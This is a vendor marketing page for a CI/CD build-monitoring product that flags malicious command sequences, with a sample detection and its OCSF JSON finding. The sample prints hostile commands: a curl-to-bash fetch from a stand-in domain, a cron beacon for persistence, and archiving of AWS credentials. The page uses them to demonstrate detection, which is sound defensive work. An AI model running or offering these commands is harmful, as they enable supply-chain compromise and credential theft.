GitHub Actions

Add it to your pipeline in three lines.

Drop one step into any GitHub Actions workflow. Protet watches every command your build runs — no agent to install, no infrastructure to stand up — and posts a malicious / benign verdict right in the run and on your pull requests. Your build steps don't change.

.github/workflows/ci.yml

- uses: protet/monitor@v1
  with:
    token: ${{ secrets.PROTET_TOKEN }}

# ↓ your existing build steps run unchanged — and watched
- run: npm ci && npm run build

One secret, no agent — works on GitHub-hosted and self-hosted runners. Set fail-on-malicious to block the merge; the verdict posts to the pull request automatically.

Get your token — free Integration docs →

The gap

Your build environment holds more privilege than production — and gets watched far less.

CI/CD runners routinely carry registry credentials, cloud IAM roles, and signing keys — real, usable privilege, often broader than what the production workloads they build ever get. Most security tooling stops at what's declared: a lockfile, an SBOM, a lint rule. None of that sees a hijacked runner, a dependency-confusion payload, or a postinstall script that only turns malicious once the build actually runs it. Supply-chain attacks are the headline case — the deeper problem is a class of infrastructure that's privileged, ephemeral, and almost entirely unmonitored.

How it works

Telemetry → classification → explanation → integration

See the full walkthrough →

1

Telemetry

eBPF via Tetragon on Kubernetes, a drop-in GitHub Action for hosted runners, or your own collector from legacy systems. Collection is decoupled from detection, so it works wherever your builds already run.

2

Classification

A model trained specifically on real execve command sequences — not a general-purpose model prompted to guess.

3

Explanation

Pinpoints the exact command or chain that drove a verdict, so an analyst sees the reasoning, not just a score.

4

Integration

Every verdict ships as an OCSF Detection Finding — an open, vendor-neutral schema — over a plain webhook or log file. No new console to babysit: it's built to flow straight into the SIEM you already run.

See it in action

One verdict, two views.

An illustrative example of a flagged build session — the plain-language read an analyst sees, and the OCSF finding that reaches your SIEM at the same moment.

ci-build-7f3a · build-runners

malicious · 0.94

Build log — execve sequence

npm install

node-gyp rebuild

1curl -s https://cdn-assets-optimize.io/postinstall.sh | bash

webpack --mode production

npm run build

2echo '*/5 * * * * curl -s .../beacon | bash' >> /etc/cron.d/npm-cache

npm test

3tar -czf /tmp/.cache -C /root/.aws .

rm -rf /tmp/.cache

Command attribution

1 curl → postinstall.sh piped to bash hit1

2 cron persistence written to /etc/cron.d chain

3 tar of ~/.aws credentials chain

No scores or magnitudes in this finding — hit1 is the always-computed top command, the attack chain is available on deeper-explainability tiers.

Delivered as OCSF — webhook or log file

{
  "class_uid": 2004,
  "class_name": "Detection Finding",
  "category_uid": 2,
  "metadata": { "version": "1.1.0", "product": { "name": "protet" } },
  "finding_info": {
    "uid": "b7e1c2-window-4-explanation",
    "title": "Execve attribution for flagged window",
    "desc": "Primary suspicious command and, on entitled plans, its most likely attack chain. Pod: ci-build-7f3a (build-runners)."
  },
  "container": { "pod_name": "ci-build-7f3a", "name": "" },
  "cloud": { "region": "build-runners" },
  "enrichments": [
    { "name": "finding_kind", "value": "explanation" },
    { "name": "window_id", "value": "b7e1c2-window-4" },
    { "name": "hit1_command", "value": "curl -s https://cdn-assets-optimize.io/postinstall.sh | bash" },
    { "name": "chain_length", "value": "3" },
    { "name": "chain_command_1", "value": "curl -s https://cdn-assets-optimize.io/postinstall.sh | bash" },
    { "name": "chain_command_2", "value": "echo '*/5 * * * * curl -s .../beacon | bash' >> /etc/cron.d/npm-cache" },
    { "name": "chain_command_3", "value": "tar -czf /tmp/.cache -C /root/.aws ." },
    { "name": "flippable", "value": "false" }
  ]
}

Illustrative example — command sequence condensed for readability. No scores or deltas are exposed in this finding by design. Full schema reference →

Deployment

Runs where your data has to stay.

Signed, offline model bundles — verified, license-gated, deployable fully air-gapped. Nothing leaves your network unless you decide it should.

Cryptographically signed bundles Air-gap capable License-gated Swiss-hosted control plane

Rigor

A model doesn't ship because it trained.

Hard promotion gates

Every challenger is evaluated against a held-out benchmark before it can replace the current model — improving offline metrics alone is not enough to ship.

Explainable by design

Verdicts come with the specific commands that drove them — a clear explanation, not a black-box score.

Continuous retraining

Detection keeps improving as new build sessions are observed — every promotion is gated, so improvement never comes at the cost of a quiet regression.

Pricing

Start free. Scale on-prem when you're ready.

Every tier runs on the same detection engine. What changes is explainability depth, monthly volume, and support.

See full pricing →

Ready to see what your builds are actually doing?

Start free Talk to us →

Catch what your dependency scanner can't see.